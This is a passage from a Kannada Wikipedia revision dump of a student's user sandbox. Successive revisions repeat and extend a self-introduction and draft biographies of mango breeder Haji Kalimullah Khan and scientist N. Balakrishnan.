''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. sejtgf8otc6bgdnc27hz97jq0p89e1x 1116540 1116534 2022-08-23T19:45:42Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ಅವರು ಭಾರತೀಯ ಏರೋಸ್ಪೇಸ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿ. ಅವರು ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ (Indian Institute of science) ನ ಏರೋಸ್ಪೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ (Aerospace engineering) ಮತ್ತು ಸೂಪರ್ ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಸಂಶೋಧನಾ ಕೇಂದ್ರದ ( super computer Education Research Cente) ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. 00r20i1c3ni9zqfhf9u4y22p4ffia6w 1116541 1116540 2022-08-23T19:51:13Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ಅವರು ಭಾರತೀಯ ಏರೋಸ್ಪೇಸ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿ. ಅವರು ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ (Indian Institute of science) ನ ಏರೋಸ್ಪೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ (Aerospace engineering) ಮತ್ತು ಸೂಪರ್ ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಸಂಶೋಧನಾ ಕೇಂದ್ರದ ( super computer Education Research Cente) ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. ಮತ್ತು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಅಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawahalal Nehru Centre for advanced scientific Research)ನ ಸಂದರ್ಶಕ ಪ್ರೊಫಸರ್ ಆಗಿದ್ದಾರೆ. ಬಾಲಕೃಷ್ಣನ್ ಅವರಿಗೆ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ಭಾರತೀಯ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. 8uc6sgnqgmsv13mrin41fkr6wa0feic 1116542 1116541 2022-08-23T20:04:30Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ಅವರು ಭಾರತೀಯ ಏರೋಸ್ಪೇಸ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿ. ಅವರು ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ (Indian Institute of science) ನ ಏರೋಸ್ಪೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ (Aerospace engineering) ಮತ್ತು ಸೂಪರ್ ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಸಂಶೋಧನಾ ಕೇಂದ್ರದ ( super computer Education Research Cente) ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. ಮತ್ತು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಅಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawahalal Nehru Centre for advanced scientific Research)ನ ಸಂದರ್ಶಕ ಪ್ರೊಫಸರ್ ಆಗಿದ್ದಾರೆ. ಬಾಲಕೃಷ್ಣನ್ ಅವರಿಗೆ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ಭಾರತೀಯ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ಜೀವನ ಚರಿತ್ರೆ ನಾರಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ ದಕ್ಷಿಣ ಭಾರತದ ಮೂಲತ ತಮಿಳುನಾಡಿನವರು. ಇವರು ಜುಲೈ ೧ ೧೯೫೦ ರಂದು ಜನಿಸಿದರು. ಇವರು 1972ರಲ್ಲಿ ಕೊಯಂಬತ್ತೂರು ಇನ್ ಸೈಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ (coimbatore Institute of Technology), ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ (University of Madras) ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಸಂವಹನದಲ್ಲಿ (Electonics and communication)(ಬಿಇ ಹೋಮ್ಸ್) ಪದವಿ ಪಡೆದರು ಮತ್ತು 1979 ರಲ್ಲಿ ಬೆಂಗಳೂರಿನ ಇಂಡಿಯಾನ್ ಇನ್ ಸ್ವಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್(IISc) ಯಿಂದ ಡಾಕ್ಟರೇಟ್ ಪದವಿ (PhD) ಪಡೆದರು. pvdi6qi7jvzkke82afxyjpwm78nd30b 1116543 1116542 2022-08-23T20:24:49Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ 